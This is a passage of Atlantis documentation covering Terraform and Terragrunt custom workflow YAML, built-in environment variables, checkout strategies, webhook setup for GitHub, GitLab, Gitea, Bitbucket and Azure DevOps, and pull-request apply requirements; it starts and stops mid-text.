sed 's/,/ /' | tr -d '\\') state_rm: steps: - env: name: TG_TF_PATH command: 'echo "${ATLANTIS_TERRAFORM_DISTRIBUTION}${ATLANTIS_TERRAFORM_VERSION}"' # Allow for state removals as not supported for Terraform wrappers by default - run: terragrunt state rm $(printf '%s' $COMMENT_ARGS | sed 's/,/ /' | tr -d '\\') If using the repo's `atlantis.yaml` file you would use the following config: yaml version: 3 projects: - dir: live/staging workflow: terragrunt - dir: live/prod workflow: terragrunt workflows: terragrunt: plan: steps: - env: name: TG_TF_PATH command: 'echo "${ATLANTIS_TERRAFORM_DISTRIBUTION}${ATLANTIS_TERRAFORM_VERSION}"' - env: # Reduce Terraform suggestion output name: TF_IN_AUTOMATION value: 'true' - run: command: terragrunt plan -input=false -out=$PLANFILE output: strip_refreshing apply: steps: - env: name: TG_TF_PATH command: 'echo "${ATLANTIS_TERRAFORM_DISTRIBUTION}${ATLANTIS_TERRAFORM_VERSION}"' - env: # Reduce Terraform suggestion output name: TF_IN_AUTOMATION value: 'true' - run: terragrunt apply $PLANFILE **NOTE:** If using the repo's `atlantis.yaml` file, you will need to specify each directory that is a Terragrunt project. WARNING Atlantis will need to have the `terragrunt` binary in its PATH. If you're using Docker you can build your own image, see [Customization](https://www.runatlantis.io/docs/deployment#customization) . If you don't want to create/manage the repo's `atlantis.yaml` file yourself, you can use the tool [terragrunt-atlantis-config](https://github.com/transcend-io/terragrunt-atlantis-config) to generate it. The `terragrunt-atlantis-config` tool is a community project and not maintained by the Atlantis team. ### Running custom commands [​](https://www.runatlantis.io/docs/custom-workflows#running-custom-commands) Atlantis supports running completely custom commands. In this example, we want to run a script after every `apply`: yaml # repos.yaml or atlantis.yaml workflows: myworkflow: apply: steps: - apply - run: ./my-custom-script.sh Notes * We don't need to write a `plan` key under `myworkflow`. If `plan` isn't set, Atlantis will use the default plan workflow which is what we want in this case. * A custom command will only terminate if all output file descriptors are closed. Therefore a custom command can only be sent to the background (e.g. for an SSH tunnel during the terraform run) when its output is redirected to a different location. For example, Atlantis will execute a custom script containing the following code to create an SSH tunnel correctly: `ssh -f -M -S /tmp/ssh_tunnel -L 3306:database:3306 -N bastion 1>/dev/null 2>&1`. Without the redirect, the script would block the Atlantis workflow. ### Custom Backend Config [​](https://www.runatlantis.io/docs/custom-workflows#custom-backend-config) If you need to specify the `-backend-config` flag to `terraform init` you'll need to use a custom workflow. In this example, we're using custom backend files to configure two remote states, one for each environment. We're then using `.tfvars` files to load different variables for each environment. yaml # repos.yaml or atlantis.yaml workflows: staging: plan: steps: - run: rm -rf .terraform - init: extra_args: [-backend-config=staging.backend.tfvars] - plan: extra_args: [-var-file=staging.tfvars] production: plan: steps: - run: rm -rf .terraform - init: extra_args: [-backend-config=production.backend.tfvars] - plan: extra_args: [-var-file=production.tfvars] NOTE We have to use a custom `run` step to `rm -rf .terraform` because otherwise Terraform will complain in-between commands since the backend config has changed. You would then reference the workflows in your repo-level `atlantis.yaml`: yaml version: 3 projects: - name: staging dir: . workflow: staging - name: production dir: . workflow: production ### Add directory and repo context for aws resources using default tags [​](https://www.runatlantis.io/docs/custom-workflows#add-directory-and-repo-context-for-aws-resources-using-default-tags) This is only available in AWS provider version [5.62.0](https://github.com/hashicorp/terraform-provider-aws/releases/tag/v5.62.0) and higher. This configuration will create the following tags * `repository` equal to `github.com//` which can be changed for gitlab or other VCS * `repository_dir` equal to the relative directory Other default variables can be added such as for workspace. See below for more available environment variables. yaml workflows: terraform: plan: steps: # These env vars TF_AWS_DEFAULT_TAGS_ will work for aws provider 5.62.0+ # https://github.com/hashicorp/terraform-provider-aws/releases/tag/v5.62.0 - &env_default_tags_repository env: name: TF_AWS_DEFAULT_TAGS_repository command: 'echo "github.com/${BASE_REPO_OWNER}/${BASE_REPO_NAME}"' - &env_default_tags_repository_dir env: name: TF_AWS_DEFAULT_TAGS_repository_dir command: 'echo "${REPO_REL_DIR}"' apply: steps: - *env_default_tags_repository - *env_default_tags_repository_dir NOTE: * Appending tags to every resource may regenerate data sources such as `aws_iam_policy_document` which will cause many resources to be modified. See known issue in aws provider [#29421](https://github.com/hashicorp/terraform-provider-aws/issues/29421) . * To run a local plan outside of terraform, the same environment variables will need to be created. bash tfvars () { export terraform_repository=$(git config --get remote.origin.url | sed 's,^git@,,g' | tr ':' '/' | sed 's,.git$,,g') export terraform_repository_dir=$(git rev-parse --show-prefix | sed 's,\/$,,g') } export TF_AWS_DEFAULT_TAGS_repository=$terraform_repository export TF_AWS_DEFAULT_TAGS_repository_dir=$terraform_repository_dir tfvars terraform plan If a colon is used in the tag name, use the `env` command instead of `export`. bash tfvars env \ TF_AWS_DEFAULT_TAGS_org:repository=$terraform_repository \ TF_AWS_DEFAULT_TAGS_org:repository_dir=$terraform_repository_dir \ terraform plan Reference [​](https://www.runatlantis.io/docs/custom-workflows#reference) -------------------------------------------------------------------------- ### Workflow [​](https://www.runatlantis.io/docs/custom-workflows#workflow-1) yaml plan: apply: import: state_rm: | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | plan | [Stage](https://www.runatlantis.io/docs/custom-workflows#stage) | `steps: [init, plan]` | no | How to plan for this project. | | apply | [Stage](https://www.runatlantis.io/docs/custom-workflows#stage) | `steps: [apply]` | no | How to apply for this project. | | import | [Stage](https://www.runatlantis.io/docs/custom-workflows#stage) | `steps: [init, import]` | no | How to import for this project. | | state\_rm | [Stage](https://www.runatlantis.io/docs/custom-workflows#stage) | `steps: [init, state_rm]` | no | How to run state rm for this project. | ### Stage [​](https://www.runatlantis.io/docs/custom-workflows#stage) yaml steps: - run: custom-command - init - plan: extra_args: [-lock=false] | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | steps | array\[[Step](https://www.runatlantis.io/docs/custom-workflows#step)
\] | `[]` | no | List of steps for this stage. If the steps key is empty, no steps will be run for this stage. | ### Step [​](https://www.runatlantis.io/docs/custom-workflows#step) #### Built-In Commands [​](https://www.runatlantis.io/docs/custom-workflows#built-in-commands) Steps can be a single string for a built-in command. yaml - init - plan - apply - import - state_rm | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | init/plan/apply/import/state\_rm | string | none | no | Use a built-in command without additional configuration. Only `init`, `plan`, `apply`, `import` and `state_rm` are supported | #### Built-In Command With Extra Args [​](https://www.runatlantis.io/docs/custom-workflows#built-in-command-with-extra-args) A map from string to `extra_args` for a built-in command with extra arguments. yaml - init: extra_args: [arg1, arg2] - plan: extra_args: [arg1, arg2] - apply: extra_args: [arg1, arg2] - import: extra_args: [arg1, arg2] - state_rm: extra_args: [arg1, arg2] | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | init/plan/apply/import/state\_rm | map\[`extra_args` -> array\[string\]\] | none | no | Use a built-in command and append `extra_args`. Only `init`, `plan`, `apply`, `import` and `state_rm` are supported as keys and only `extra_args` is supported as a value | #### Custom `run` Command [​](https://www.runatlantis.io/docs/custom-workflows#custom-run-command) A custom command can be written in 2 ways Compact: yaml - run: custom-command arg1 arg2 | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | run | string | none | no | Run a custom command | Full example: yaml - run: command: custom-command arg1 arg2 shell: sh shellArgs: - "--debug" - "-c" output: show Full example, filtering output and masking matching text (`mySecret: "foo"` -> `mySecret: ""`): yaml - run: command: custom-command arg1 arg2 shell: sh shellArgs: - "--debug" - "-c" output: - strip_refreshing - filter_regex: "((?i)secret:\\s\")[^\"]*" | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | run | map\[string -> string\] | none | no | Run a custom command | | run.command | string | none | yes | Shell command to run | | run.shell | string | "sh" | no | Name of the shell to use for command execution | | run.shellArgs | string or \[\]string | "-c" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` | | run.output | string or \[\]string or \[\]any | "show" | no | How to post-process the output of this command when posted in the PR comment. The options are:
_`show` - preserve the full output
_`hide` - hide output from comment (still visible in the real-time streaming output)
`strip_refreshing` - hide all output up until and including the last line containing "Refreshing...". This matches the behavior of the built-in `plan` command
`filter_regex: ""` - masks sensitive text in Atlantis comments by replacing regex matches with . Can be used multiple times (processed in order). Only filters inline comments - full plan links still show unfiltered results. | #### Native Environment Variables [​](https://www.runatlantis.io/docs/custom-workflows#native-environment-variables) * `run` steps in the main `workflow` are executed with the following environment variables: note: these variables are not available to `pre` or `post` workflows * `WORKSPACE` - The Terraform workspace used for this project, ex. `default`. NOTE: if the step is executed before `init` then Atlantis won't have switched to this workspace yet. * `ATLANTIS_TERRAFORM_VERSION` - The version of Terraform used for this project, ex. `0.11.0`. * `DIR` - Absolute path to the current directory. * `PLANFILE` - Absolute path to the location where Atlantis expects the plan to either be generated (by plan) or already exist (if running apply). Can be used to override the built-in `plan`/`apply` commands, ex. `run: terraform plan -out $PLANFILE`. A workflow whose `plan` and `apply` are both made up entirely of custom `run` steps may write its plan to a path of its own choosing instead of `$PLANFILE`. Atlantis does not require, hash, or delete a plan artifact for such a workflow; it still validates the project's recorded plan state before running `apply`. As soon as a workflow uses the built-in `plan` or `apply` step, the plan must be at `$PLANFILE`. * `SHOWFILE` - Absolute path to the location where Atlantis expects the plan in json format to either be generated (by show) or already exist (if running policy checks). Can be used to override the built-in `plan`/`apply` commands, ex. `run: terraform show -json $PLANFILE > $SHOWFILE`. * `POLICYCHECKFILE` - Absolute path to the location of policy check output if Atlantis runs policy checks. See [policy checking](https://www.runatlantis.io/docs/policy-checking#data-for-custom-run-steps) for information of data structure. * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`. * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`. * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`. * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base) * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into) * `PROJECT_NAME` - Name of the project configured in `atlantis.yaml`. If no project name is configured this will be an empty string. * `PULL_NUM` - Pull request number or ID, ex. `2`. * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`. * `REPO_REL_DIR` - The relative path of the project in the repository. For example if your project is in `dir1/dir2/` then this will be set to `"dir1/dir2"`. If your project is at the root this will be `"."`. * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. * `ATLANTIS_PR_APPROVED` - "true" if the PR is approved * `ATLANTIS_PR_MERGEABLE` - "true" if the PR is mergeable * A custom command will only terminate if all output file descriptors are closed. Therefore a custom command can only be sent to the background (e.g. for an SSH tunnel during the terraform run) when its output is redirected to a different location. For example, Atlantis will execute a custom script containing the following code to create an SSH tunnel correctly: `ssh -f -M -S /tmp/ssh_tunnel -L 3306:database:3306 -N bastion 1>/dev/null 2>&1`. Without the redirect, the script would block the Atlantis workflow. * If a workflow step returns a non-zero exit code, the workflow will stop. ::: #### Environment Variable `env` Command [​](https://www.runatlantis.io/docs/custom-workflows#environment-variable-env-command) The `env` command allows you to set environment variables that will be available to all steps defined **below** the `env` step. You can set hard coded values via the `value` key, or set dynamic values via the `command` key which allows you to run any command and uses the output as the environment variable value. yaml - env: name: ENV_NAME value: hard-coded-value - env: name: ENV_NAME_2 command: 'echo "dynamic-value-$(date)"' - env: name: ENV_NAME_3 command: echo ${DIR%$REPO_REL_DIR} shell: bash shellArgs: - "--verbose" - "-c" | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | env | map\[string -> string\] | none | no | Set environment variables for subsequent steps | | env.name | string | none | yes | Name of the environment variable | | env.value | string | none | no | Set the value of the environment variable to a hard-coded string. Cannot be set at the same time as `command` | | env.command | string | none | no | Set the value of the environment variable to the output of a command. Cannot be set at the same time as `value` | | env.shell | string | "sh" | no | Name of the shell to use for command execution. Cannot be set without `command` | | env.shellArgs | string or \[\]string | "-c" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` | Notes * `env` `command`'s can use any of the built-in environment variables available to `run` commands. #### Multiple Environment Variables `multienv` Command [​](https://www.runatlantis.io/docs/custom-workflows#multiple-environment-variables-multienv-command) The `multienv` command allows you to set dynamic number of multiple environment variables that will be available to all steps defined **below** the `multienv` step. Compact: yaml - multienv: custom-command | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | multienv | string | none | no | Run a custom command and add printed environment variables | Full: yaml - multienv: command: custom-command shell: bash shellArgs: - "--verbose" - "-c" output: show | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | multienv | map\[string -> string\] | none | no | Run a custom command and add printed environment variables | | multienv.command | string | none | yes | Name of the custom script to run | | multienv.shell | string | "sh" | no | Name of the shell to use for command execution | | multienv.shellArgs | string or \[\]string | "-c" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` | | multienv.output | string | "show" | no | Setting output to "hide" will suppress the message about added environment variables | The output of the command execution must have the following format: `EnvVar1Name=value1,EnvVar2Name=value2,EnvVar3Name=value3` The name-value pairs in the output are added as environment variables if command execution is successful, otherwise the workflow execution is interrupted with an error and the errorMessage is returned. Notes * `multienv` `command`'s can use any of the built-in environment variables available to `run` commands. --- # Configuring Atlantis | Atlantis [Skip to content](https://www.runatlantis.io/docs/configuring-atlantis#VPContent) On this page Configuring Atlantis [​](https://www.runatlantis.io/docs/configuring-atlantis#configuring-atlantis) ==================================================================================================== There are three methods for configuring Atlantis: 1. Passing flags to the `atlantis server` command 2. Creating a server-side repo config file and using the `--repo-config` flag 3. Placing an `atlantis.yaml` file at the root of your Terraform repositories Flags [​](https://www.runatlantis.io/docs/configuring-atlantis#flags) ---------------------------------------------------------------------- Flags to `atlantis server` are used to configure the global operation of Atlantis, for example setting credentials for your Git Host or configuring SSL certs. See [Server Configuration](https://www.runatlantis.io/docs/server-configuration) for more details. Server-Side Repo Config [​](https://www.runatlantis.io/docs/configuring-atlantis#server-side-repo-config) ---------------------------------------------------------------------------------------------------------- A Server-Side Repo Config file is used to control per-repo behaviour and what users can do in repo-level `atlantis.yaml` files. See [Server-Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config) for more details. Repo-Level `atlantis.yaml` Files [​](https://www.runatlantis.io/docs/configuring-atlantis#repo-level-atlantis-yaml-files) -------------------------------------------------------------------------------------------------------------------------- `atlantis.yaml` files placed at the root of your Terraform repos can be used to change the default Atlantis behaviour for each repo. See [Repo-Level atlantis.yaml Files](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) for more details. --- # Checkout Strategy | Atlantis [Skip to content](https://www.runatlantis.io/docs/checkout-strategy#VPContent) On this page Checkout Strategy [​](https://www.runatlantis.io/docs/checkout-strategy#checkout-strategy) =========================================================================================== You can configure how Atlantis checks out the code from your pull request via the `--checkout-strategy` flag or the `ATLANTIS_CHECKOUT_STRATEGY` environment variable that get passed to the `atlantis server` command. Atlantis supports `branch` and `merge` strategies. Branch [​](https://www.runatlantis.io/docs/checkout-strategy#branch) --------------------------------------------------------------------- If set to `branch` (the default), Atlantis will check out the source branch of the pull request. For example, given the following git history: ![Git History](https://www.runatlantis.io/assets/branch-strategy.DDSc2O3Y.png) If the pull request was asking to merge `branch` into `main`, Atlantis would check out `branch` at commit `C3`. Merge [​](https://www.runatlantis.io/docs/checkout-strategy#merge) ------------------------------------------------------------------- The problem with the `branch` strategy, is that if users push branches that are out of date with `main`, then their `terraform plan` could be deleting some resources that were configured in the main branch. For example, in the above diagram if commits `C4` and `C5` have modified the terraform state and added new resources, then when Atlantis runs `terraform plan` at commit `C3`, because the code doesn't have the changes from `C4` and `C5`, Terraform will try to delete those resources. To fix this, users could merge `main` into their branch, _or_ you can run Atlantis with `--checkout-strategy=merge`. With this strategy, Atlantis will try to perform a merge locally by: * Checking out the destination branch of the pull request (ex. `main`) * Locally performing a `git merge {source branch}` * Then running its Terraform commands In this example, the code that Atlantis would be operating on would look like: ![Git History](https://www.runatlantis.io/assets/merge-strategy.D_pfU4RH.png) Where Atlantis is using its local commit `C6`. NOTE Atlantis doesn't actually commit this merge anywhere. It just uses it locally. NOTE In the case of transient errors when updating the merged branch, Atlantis will error for safety to avoid using a stale branch. NOTE When Atlantis is authenticated as a GitHub App and uses the `merge` checkout strategy for a GitHub pull request, it fetches the pull request head from the base repository's `pull//head` ref on `origin`. It does not create or update a separate `source` remote for the pull request's head repository. This avoids fetching forks that the GitHub App installation cannot access. The non-GitHub App checkout path still uses the `source` remote. WARNING Atlantis only performs this merge during the `terraform plan` phase. If another commit is pushed to `main` **after** Atlantis runs `plan`, nothing will happen. To optimize cloning time, Atlantis can perform a shallow clone by specifying the `--checkout-depth` flag. The cloning is performed in a following manner: * Shallow clone of the default branch is performed with depth of `--checkout-depth` value of zero (full clone). * `branch` is retrieved, including the same amount of commits. * Merge base of the default branch and `branch` is checked for existence in the shallow clone. * If the merge base is not present, it means that either of the branches are ahead of the merge base by more than `--checkout-depth` commits. In this case full repo history is fetched. If the commit history often diverges by more than the default checkout depth then the `--checkout-depth` flag should be tuned to avoid full fetches. --- # Configuring Webhooks | Atlantis [Skip to content](https://www.runatlantis.io/docs/configuring-webhooks#VPContent) On this page Configuring Webhooks [​](https://www.runatlantis.io/docs/configuring-webhooks#configuring-webhooks) ==================================================================================================== Atlantis needs to receive Webhooks from your Git host so that it can respond to pull request events. Prerequisites * You have created an [access credential](https://www.runatlantis.io/docs/access-credentials) * You have created a [webhook secret](https://www.runatlantis.io/docs/webhook-secrets) * You have [deployed](https://www.runatlantis.io/docs/deployment) Atlantis and have a url for it See the instructions for your specific provider below. GitHub/GitHub Enterprise [​](https://www.runatlantis.io/docs/configuring-webhooks#github-github-enterprise) ------------------------------------------------------------------------------------------------------------ You can install your webhook at the [organization](https://docs.github.com/en/get-started/learning-about-github/types-of-github-accounts) level, or for each individual repository. NOTE If only some of the repos in your organization are to be managed by Atlantis, then you may want to only install on specific repos for now. When authenticating as a GitHub App, Webhooks are automatically created and need no additional setup, beyond being installed to your organization/user account after creation. Refer to the [GitHub App setup](https://www.runatlantis.io/docs/access-credentials#github-app) section for instructions on how to do so. If you're installing on the organization, navigate to your organization's page and click **Settings**. If installing on a single repository, navigate to the repository home page and click **Settings**. * Select **Webhooks** or **Hooks** in the sidebar * Click **Add webhook** * set **Payload URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * double-check you added `/events` to the end of your URL. * set **Content type** to `application/json` * set **Secret** to the Webhook Secret you generated previously * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. * select **Let me select individual events** * check the boxes * **Pull request reviews** * **Pushes** * **Issue comments** * **Pull requests** * leave **Active** checked * click **Add webhook** * See [Next Steps](https://www.runatlantis.io/docs/configuring-webhooks#next-steps) GitLab [​](https://www.runatlantis.io/docs/configuring-webhooks#gitlab) ------------------------------------------------------------------------ If you're using GitLab, navigate to your project's home page in GitLab * Click **Settings > Webhooks** in the sidebar * set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * double-check you added `/events` to the end of your URL. * set **Secret Token** to the Webhook Secret you generated previously * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. * check the boxes * **Push events** * **Comments** * **Merge Request events** * leave **Enable SSL verification** checked * click **Add webhook** * See [Next Steps](https://www.runatlantis.io/docs/configuring-webhooks#next-steps) Gitea [​](https://www.runatlantis.io/docs/configuring-webhooks#gitea) ---------------------------------------------------------------------- If you're using Gitea, navigate to your project's home page in Gitea * Click **Settings > Webhooks** in the top- and then sidebar * Click **Add webhook > Gitea** (Gitea webhooks are service specific, but this works) * set **Target URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * double-check you added `/events` to the end of your URL. * set **Secret** to the Webhook Secret you generated previously * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. * Select **Custom Events...** * Check the boxes * **Repository events > Push** * **Issue events > Issue Comment** * **Pull Request events > Pull Request** * **Pull Request events > Pull Request Comment** * **Pull Request events > Pull Request Reviewed** * **Pull Request events > Pull Request Synchronized** * Leave **Active** checked * Click **Add Webhook** * See [Next Steps](https://www.runatlantis.io/docs/configuring-webhooks#next-steps) Bitbucket Cloud (bitbucket.org) [​](https://www.runatlantis.io/docs/configuring-webhooks#bitbucket-cloud-bitbucket-org) ------------------------------------------------------------------------------------------------------------------------ * Go to your repo's home page * Click **Settings** in the sidebar * Click **Webhooks** under the **WORKFLOW** section * Click **Add webhook** * Enter "Atlantis" for **Title** * set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * double-check you added `/events` to the end of your URL. * Keep **Status** as Active * Don't check **Skip certificate validation** because NGROK has a valid cert. * Select **Choose from a full list of triggers** * Under **Repository** **un**check everything * Under **Issues** leave everything **un**checked * Under **Pull Request**, select: Created, Updated, Merged, Declined and Comment created * Click **Save**![Bitbucket Webhook](https://www.runatlantis.io/assets/bitbucket-webhook.CpvB00xz.png) * See [Next Steps](https://www.runatlantis.io/docs/configuring-webhooks#next-steps) Bitbucket Server (aka Stash) [​](https://www.runatlantis.io/docs/configuring-webhooks#bitbucket-server-aka-stash) ------------------------------------------------------------------------------------------------------------------ * Go to your repo's home page * Click **Settings** in the sidebar * Click **Webhooks** under the **WORKFLOW** section * Click **Create webhook** * Enter "Atlantis" for **Name** * set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * Double-check you added `/events` to the end of your URL. * Set **Secret** to the Webhook Secret you generated previously * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. * Under **Pull Request**, select: Opened, Source branch updated, Merged, Declined, Deleted and Comment added * Click **Save**![Bitbucket Webhook](https://www.runatlantis.io/assets/bitbucket-server-webhook.C4EB06Dj.png) * See [Next Steps](https://www.runatlantis.io/docs/configuring-webhooks#next-steps) Azure DevOps [​](https://www.runatlantis.io/docs/configuring-webhooks#azure-devops) ------------------------------------------------------------------------------------ Webhooks are installed at the [team project](https://docs.microsoft.com/en-us/azure/devops/organizations/projects/about-projects?view=azure-devops) level, but may be restricted to only fire based on events pertaining to [specific repos](https://docs.microsoft.com/en-us/azure/devops/service-hooks/services/webhooks?view=azure-devops) within the team project. * Navigate anywhere within a team project, ie: `https://dev.azure.com/orgName/projectName/_git/repoName` * Select **Project settings** in the lower-left corner * Select **Service hooks** * If you see the message "You do not have sufficient permissions to view or configure subscriptions." you need to ensure your user is a member of either the organization's "Project Collection Administrators" group or the project's "Project Administrators" group. * To add your user to the Project Collection Build Administrators group, navigate to the organization level, click **Organization Settings** and then click **Permissions**. You should be at `https://dev.azure.com//_settings/groups`. Now click on the **/Project Collection Administrators** group and add your user as a member. * To add your user to the Project Administrators group, navigate to the project level, click **Project Settings** and then click **Permissions**. You should be at `https://dev.azure.com///_settings/permissions`. Now click on the **/Project Administrators** group and add your user as a member. * Click **Create subscription** or the green plus icon to add a new webhook * Scroll to the bottom of the list and select **Web Hooks** * Click **Next** * Under "Trigger on this type of event", select **Pull request created** * Optionally, select a repository under **Filters** to restrict the scope of this webhook subscription to a specific repository * Click **Next** * Set **URL** to `http://$URL/events` where `$URL` is where Atlantis is hosted. Note that SSL, or `https://$URL/events`, is required if you set a Basic username and password for the webhook. **Be sure to add `/events`** * It is strongly recommended to set a Basic Username and Password for all webhooks * Leave all three drop-down menus for `...to send` set to **All** * Resource version should be set to **1.0** for `Pull request created` and `Pull request updated` event types and **2.0** for `Pull request commented on` * **NOTE** If you're adding a webhook to multiple team projects or repositories (using filters), each repository will need to use the **same** basic username and password. * Click **Finish** Repeat the process above until you have webhook subscriptions for the following event types that will trigger on all repositories Atlantis will manage: * Pull request created (you just added this one) * Pull request updated * Pull request commented on * See [Next Steps](https://www.runatlantis.io/docs/configuring-webhooks#next-steps) Next Steps [​](https://www.runatlantis.io/docs/configuring-webhooks#next-steps) -------------------------------------------------------------------------------- * To verify that Atlantis is receiving your webhooks, create a test pull request to your repo. * You should see the request show up in the Atlantis logs at an `INFO` level. * You'll now need to configure Atlantis to add your [Provider Credentials](https://www.runatlantis.io/docs/provider-credentials) --- # Command Requirements | Atlantis [Skip to content](https://www.runatlantis.io/docs/command-requirements#VPContent) On this page Command Requirements [​](https://www.runatlantis.io/docs/command-requirements#command-requirements) ==================================================================================================== Intro [​](https://www.runatlantis.io/docs/command-requirements#intro) ---------------------------------------------------------------------- Atlantis requires certain conditions be satisfied **before** `atlantis apply` and `atlantis import` commands can be run: * [Approved](https://www.runatlantis.io/docs/command-requirements#approved) – requires pull requests to be approved by at least one user other than the author * [Mergeable](https://www.runatlantis.io/docs/command-requirements#mergeable) – requires pull requests to be able to be merged * [UnDiverged](https://www.runatlantis.io/docs/command-requirements#undiverged) - requires project files in pull requests to be ahead of the base branch What Happens If The Requirement Is Not Met? [​](https://www.runatlantis.io/docs/command-requirements#what-happens-if-the-requirement-is-not-met) ------------------------------------------------------------------------------------------------------------------------------------------------- If the requirement is not met, users will see an error if they try to run `atlantis apply`: ![Mergeable Apply Requirement](https://www.runatlantis.io/assets/apply-requirement.DT_G_7ZP.png) Supported Requirements [​](https://www.runatlantis.io/docs/command-requirements#supported-requirements) -------------------------------------------------------------------------------------------------------- ### Approved [​](https://www.runatlantis.io/docs/command-requirements#approved) The `approved` requirement will prevent applies unless the pull request is approved by at least one person other than the author. #### Usage [​](https://www.runatlantis.io/docs/command-requirements#usage) Set the `approved` requirement by: 1. Creating a `repos.yaml` file with the `apply_requirements` key: yaml repos: - id: /.*/ apply_requirements: [approved] 2. Or by allowing an `atlantis.yaml` file to specify the `apply_requirements` key in the `repos.yaml` config: **repos.yaml** yaml repos: - id: /.*/ allowed_overrides: [apply_requirements] **atlantis.yaml** yaml version: 3 projects: - dir: . apply_requirements: [approved] #### Meaning [​](https://www.runatlantis.io/docs/command-requirements#meaning) Each VCS provider has different rules around who can approve: * **GitHub** – **Any user with read permissions** to the repo can approve a pull request * **GitLab** – The user who can approve can be set in the [repo settings](https://docs.gitlab.com/user/project/merge_requests/approvals/) * **Bitbucket Cloud (bitbucket.org)** – A user can approve their own pull request but Atlantis does not count that as an approval and requires an approval from at least one user that is not the author of the pull request * **Azure DevOps** – **All builtin groups include the "Contribute to pull requests"** permission and can approve a pull request Tip To require **certain people** to approve the pull request, look at the [mergeable](https://www.runatlantis.io/docs/command-requirements#mergeable) requirement. ### Mergeable [​](https://www.runatlantis.io/docs/command-requirements#mergeable) The `mergeable` requirement will prevent applies unless a pull request is able to be merged. #### Usage [​](https://www.runatlantis.io/docs/command-requirements#usage-1) Set the `mergeable` requirement by: 1. Creating a `repos.yaml` file with the `apply_requirements` key: yaml repos: - id: /.*/ apply_requirements: [mergeable] 2. Or by allowing an `atlantis.yaml` file to specify `plan_requirements`, `apply_requirements` and `import_requirements` keys in the `repos.yaml` config: **repos.yaml** yaml repos: - id: /.*/ allowed_overrides: [plan_requirements, apply_requirements, import_requirements] **atlantis.yaml** yaml version: 3 projects: - dir: . plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] #### Meaning [​](https://www.runatlantis.io/docs/command-requirements#meaning-1) Each VCS provider has a different concept of "mergeability": WARNING Some VCS providers have a feature for branch protection to control "mergeability". To use it, limit the base branch so to not bypass the branch protection. See also the `branch` keyword in [Server Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config#reference) for more details. #### GitHub [​](https://www.runatlantis.io/docs/command-requirements#github) In GitHub, if you're not using [Protected Branches](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches) then all pull requests are mergeable unless there is a conflict. If you set up Protected Branches then you can enforce: * Requiring certain status checks to be passing * Requiring certain people to have reviewed and approved the pull request * Requiring `CODEOWNERS` to have reviewed and approved the pull request * Requiring that the branch is up-to-date with `main` See [GitHub: About protected branches](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches) for more details. WARNING If you have the **Restrict who can push to this branch** requirement, then the Atlantis user needs to be part of that list in order for it to consider a pull request mergeable. WARNING If you set `atlantis/apply` to the mergeable requirement, use the `--gh-allow-mergeable-bypass-apply` flag or set the `ATLANTIS_GH_ALLOW_MERGEABLE_BYPASS_APPLY=true` environment variable. This flag and environment variable allow the mergeable check before executing `atlantis apply` to skip checking the status of `atlantis/apply`. #### GitLab [​](https://www.runatlantis.io/docs/command-requirements#gitlab) For GitLab, a merge request will be merged if all the following are true: * There are no conflicts * No unresolved discussions, if it is a project requirement * All necessary approvers have approved the pull request * Is not behind the branch it's merging into, if the project's [Merge Methods](https://docs.gitlab.com/user/project/merge_requests/methods/) are "Fast-forward merge" or "Merge commit with semi-linear history" For pipelines, if the project requires that pipelines must succeed, all builds except the apply command status will be checked. For Jobs with allow\_failure setting set to true, will be ignored. If the pipeline has been skipped and the project allows merging, it will be marked as mergeable. For per-project `atlantis apply` commands, Atlantis scopes GitLab's `mergeable` requirement to the project being applied when GitLab reports blocking commit statuses. Atlantis ignores blocking Atlantis plan 